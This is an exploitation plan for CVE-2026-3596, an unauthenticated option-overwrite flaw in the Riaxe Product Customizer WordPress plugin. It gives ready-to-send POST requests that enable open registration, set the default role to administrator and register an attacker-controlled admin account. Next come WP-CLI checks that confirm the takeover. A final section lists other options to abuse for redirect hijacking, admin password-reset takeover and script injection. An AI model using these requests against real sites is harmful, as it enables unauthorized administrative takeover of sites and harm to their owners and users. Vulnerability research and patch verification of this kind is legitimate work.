Exploitation Research Plan: CVE-2026-3596 (Riaxe Product Customizer)

1. Vulnerability Summary

The Riaxe Product Customizer plugin for WordPress (versions <= 2.1.2) contains a critical missing authorization vulnerability. The plugin registers an unauthenticated AJAX action install-imprint via wp_ajax_nopriv_install-imprint. This action is mapped to the ink_pd_add_option() function, which directly manipulates the WordPress options table.

Because the function fails to implement any capability checks, nonce verification, or an allowlist of permitted options, an unauthenticated attacker can overwrite arbitrary WordPress settings. This is most critically used for Privilege Escalation by enabling open registration and setting the default user role to 'administrator'.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: install-imprint (Registered via wp_ajax_nopriv_install-imprint)
• Vulnerable Parameters:
  • option: The name of the WordPress option to update.
  • opt_value: The new value for the specified option.
• Authentication: Unauthenticated (accessible to any visitor).
• Preconditions: The plugin must be active.

3. Code Flow (Inferred)

1. Entry Point: A POST request is sent to admin-ajax.php with action=install-imprint.
2. Hook Execution: WordPress triggers the function associated with wp_ajax_nopriv_install-imprint.
3. Target Function: ink_pd_add_option() (inferred from description) is called.
4. Input Handling: The function reads $_POST['option'] and $_POST['opt_value'].
5. Vulnerable Sink:
   • The function calls delete_option( $_POST['option'] ).
   • The function calls add_option( $_POST['option'], $_POST['opt_value'] ).
6. Result: The option in the wp_options table is updated to the attacker-controlled value.

4. Nonce Acquisition Strategy

According to the vulnerability description, the install-imprint action does not perform any nonce verification.

• Check Needed: No nonce should be required for this exploitation.
• Bypass: If for some reason a nonce is found to be required during the PoC, the researcher should check for wp_localize_script calls in the plugin source that might expose a nonce to unauthenticated users on the frontend. However, based on the CVE description, the check is entirely missing.

5. Exploitation Strategy

The goal is to achieve Privilege Escalation.

Step 1: Enable User Registration

Submit a request to set users_can_register to 1.

HTTP Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=install-imprint&option=users_can_register&opt_value=1

Step 2: Set Default Role to Administrator

Submit a request to set default_role to administrator.

HTTP Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=install-imprint&option=default_role&opt_value=administrator

Step 3: Register a New Administrator (Optional Proof)

Navigate to the registration page and create a new account.

HTTP Request:

POST /wp-login.php?action=register HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user_login=attacker_admin&user_email=attacker@example.com&wp-submit=Register

6. Test Data Setup

1. Target Environment: A standard WordPress installation with Riaxe Product Customizer <= 2.1.2 installed.
2. Baseline State:
   • wp option get users_can_register should return 0.
   • wp option get default_role should return subscriber.
3. No Shortcodes Required: Since the endpoint is unauthenticated and (reportedly) nonce-less, no specific page setup is required to trigger the vulnerability.

7. Expected Results

• The AJAX requests should return a successful status code (typically 200 OK or a 1 response if wp_die() is used).
• The users_can_register option in the database will change from 0 to 1.
• The default_role option in the database will change from subscriber to administrator.

8. Verification Steps

After sending the malicious POST requests, use WP-CLI to confirm the state change:

# Verify registration is enabled
wp option get users_can_register
# Expected Output: 1

# Verify default role is admin
wp option get default_role
# Expected Output: administrator

9. Alternative Approaches

If updating core options is blocked by a security plugin or environment hardening, alternative high-impact options to update include:

• siteurl or home: To perform a Denial of Service or Redirect hijack.
• admin_email: To attempt password resets of existing admins.
• rewrite_rules: To corrupt the site's routing.
• ink_pd_settings (Plugin specific): To inject malicious JS/iframes if the plugin settings are rendered on the frontend.